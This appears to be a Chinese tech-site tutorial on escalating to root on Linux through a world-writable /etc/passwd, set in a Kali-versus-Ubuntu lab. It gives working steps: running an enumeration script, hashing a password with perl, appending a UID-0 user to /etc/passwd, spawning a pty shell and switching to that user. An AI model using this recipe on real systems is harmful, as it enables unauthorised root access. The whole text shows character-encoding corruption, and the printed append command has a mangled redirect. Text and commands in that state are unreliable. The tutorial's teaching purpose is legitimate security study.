溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶(hù)服務(wù)條款》

如何通過(guò)可寫(xiě)入的etcpasswd文件實(shí)現(xiàn)Linux提權(quán)

發(fā)布時(shí)間:2021-11-11 15:40:19 來(lái)源:億速云 閱讀:263 作者:柒染 欄目:編程語(yǔ)言

本篇文章給大家分享的是有關(guān)如何通過(guò)可寫(xiě)入的etcpasswd文件實(shí)現(xiàn)Linux提權(quán),小編覺(jué)得挺實(shí)用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話(huà)不多說(shuō),跟著小編一起來(lái)看看吧。

在Windows環(huán)境中,管理員或管理員組的成員會(huì)具有較高的權(quán)限,而這些高權(quán)限用戶(hù)也是攻擊者的主要目標(biāo)。同樣,在Linux環(huán)境中root或具有sudo權(quán)限的用戶(hù)也將會(huì)是攻擊者的主要針對(duì)用戶(hù)。

我們將討論有關(guān)文件配置錯(cuò)誤導(dǎo)致權(quán)限提升的例子。通常,在CTF挑戰(zhàn)期間,我們總會(huì)想到查看passwd文件,以了解系統(tǒng)上可用的用戶(hù)。

passwd文件存在于Linux root的/etc目錄中。最重要的一點(diǎn)是,該文件非特權(quán)用戶(hù)也可以進(jìn)行訪問(wèn)。

/etc/passwd

Linux系統(tǒng)中的每個(gè)用戶(hù)都在/etc/passwd文件中有一個(gè)對(duì)應(yīng)的記錄行,它記錄了這個(gè)用戶(hù)的一些基本屬性。這個(gè)文件對(duì)所有用戶(hù)都是可讀的。它是一個(gè)以冒號(hào)分隔的文件,按順序其包含的信息如下:

用戶(hù)名

加密密碼

用戶(hù) ID (或 UID)

組 ID (或 GUID)

用戶(hù)全名

用戶(hù)家目錄

登錄 Shell

現(xiàn)在,我們將查看/etc/passwd文件:

如何通過(guò)可寫(xiě)入的etcpasswd文件實(shí)現(xiàn)Linux提權(quán)

讓我們?cè)敿?xì)了解一下“/etc/passwd”文件,這里我們以root用戶(hù)為例:

root:用戶(hù)名。

x:放置用戶(hù)密碼。密碼直接從“/etc/shadow”文件中獲取。

0:root用戶(hù)UID。

0:root用戶(hù)GID。

root:用戶(hù)描述的占位符。

/root:用戶(hù)的家目錄。將在終端會(huì)話(huà)中向用戶(hù)顯示該目錄。

/bin/bash:用戶(hù)的shell。根據(jù)用戶(hù)的目的,將在用戶(hù)登錄時(shí)生成此shell。

環(huán)境設(shè)置

在VM中兩個(gè)Linux系統(tǒng)的配置如下,并使用NAT網(wǎng)絡(luò)模式(用于共享主機(jī)的IP地址)。

OS NameRoleOS VersionMachine IPKernel Version
Kali Linux (x64 bit)攻擊者機(jī)器Kali192.168.245.1344.12.0-kali2-686
Ubuntu (x64 bit)易受攻擊機(jī)器Ubuntu 14.04.6 LTS192.168.245.1464.4.0-142-generic

我們假設(shè)已在攻擊者機(jī)器(kali)上獲取到了目標(biāo)系統(tǒng)的hacknpentest用戶(hù)權(quán)限?,F(xiàn)在,我們將上傳linuxprivchecker.py python腳本來(lái)查看,目標(biāo)系統(tǒng)上可能存在的錯(cuò)誤配置。

我們使用wget(或web get)將文件下載到目標(biāo)服務(wù)器。

如何通過(guò)可寫(xiě)入的etcpasswd文件實(shí)現(xiàn)Linux提權(quán)

默認(rèn)情況下,Python已在所有l(wèi)inux機(jī)器上安裝。我們將使用以下命令來(lái)運(yùn)行枚舉腳本。

python linuxprivchecker.py

如何通過(guò)可寫(xiě)入的etcpasswd文件實(shí)現(xiàn)Linux提權(quán)

仔細(xì)查看腳本輸出,我們發(fā)現(xiàn)passwd文件是world可寫(xiě)文件,具有對(duì)普通用戶(hù)的讀,寫(xiě)和修改權(quán)限。

如何通過(guò)可寫(xiě)入的etcpasswd文件實(shí)現(xiàn)Linux提權(quán)

權(quán)限的錯(cuò)誤配置可能會(huì)被以某種方式濫用,從而將當(dāng)前用戶(hù)權(quán)限提升為root用戶(hù)?,F(xiàn)在,我們將嘗試寫(xiě)入passwd文件以使我們成為root用戶(hù)。

我們將向passwd文件添加一個(gè)用戶(hù),并在相應(yīng)的字段中顯式地給出加密密碼。你可以使用perl語(yǔ)言生成帶有salt的加密密碼,如下所示:

$perl -le 'print crypt("THIS_IS_Original_PASSWORD","SALT")'

下面的命令將向passwd文件添加一個(gè)具有加密密碼和UID,GID設(shè)置為root [0]的用戶(hù)。

echo "Tom:Encrypted_Password:0:0:User_like_root:/root:/bin/bash" &ampgt;&ampgt; /etc/passwd

讓我們拆解下我們要添加到passwd文件的字段。

Tom:用戶(hù)名

ad7t5uIalqMws:加密用戶(hù)密碼

0:root用戶(hù)ID

0:root組ID

User_like_root:用戶(hù)描述

/root:用戶(hù)家目錄

/bin/bash:用戶(hù)的Shell

'>>'符號(hào)將輸出重定向到文件,并在結(jié)尾附加重定向輸出的內(nèi)容(此處為/etc/passwd文件)。

生成加密密碼:

perl -le ‘print crypt(“Password@973″,”addedsalt”)’

如何通過(guò)可寫(xiě)入的etcpasswd文件實(shí)現(xiàn)Linux提權(quán)

上面的命令將生成一個(gè)帶有以下密碼和salt的哈希:

原密碼:Password@973

鹽:addedsalt

加密密碼:ad7t5uIalqMws

使用上面的加密密碼,我們現(xiàn)在將以下內(nèi)容附加到/etc/passwd文件中。

echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" &ampgt;&ampgt; /etc/passwd

如何通過(guò)可寫(xiě)入的etcpasswd文件實(shí)現(xiàn)Linux提權(quán)

Tom用戶(hù)已成功被附加到/etc/passwd文件。

cat /etc/passwd

如何通過(guò)可寫(xiě)入的etcpasswd文件實(shí)現(xiàn)Linux提權(quán)

現(xiàn)在,使用su命令我們將嘗試使用Tom用戶(hù)登錄。

如何通過(guò)可寫(xiě)入的etcpasswd文件實(shí)現(xiàn)Linux提權(quán)

這里提示必須在終端運(yùn)行,但我們并沒(méi)有什么合適的終端。我們將使用以下python one liner(目標(biāo)服務(wù)器上已安裝了python)遷移到bash shell:

python -c 'import pty; pty.spawn("/bin/bash")'

如何通過(guò)可寫(xiě)入的etcpasswd文件實(shí)現(xiàn)Linux提權(quán)

現(xiàn)在,我們嘗試使用以下命令登錄Tom用戶(hù):

su – Tom

太棒了!可以看到現(xiàn)在我們的用戶(hù)權(quán)限已提升為了root!

如何通過(guò)可寫(xiě)入的etcpasswd文件實(shí)現(xiàn)Linux提權(quán)

總結(jié)

我們?cè)趐asswd文件中發(fā)現(xiàn)了權(quán)限配置錯(cuò)誤,并最終利用這一點(diǎn)將我們的用戶(hù)權(quán)限提升為了root。在下一篇文章中,我們將討論有關(guān)Linux權(quán)限提升的其他方法。

以上就是如何通過(guò)可寫(xiě)入的etcpasswd文件實(shí)現(xiàn)Linux提權(quán),小編相信有部分知識(shí)點(diǎn)可能是我們?nèi)粘9ぷ鲿?huì)見(jiàn)到或用到的。希望你能通過(guò)這篇文章學(xué)到更多知識(shí)。更多詳情敬請(qǐng)關(guān)注億速云行業(yè)資訊頻道。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI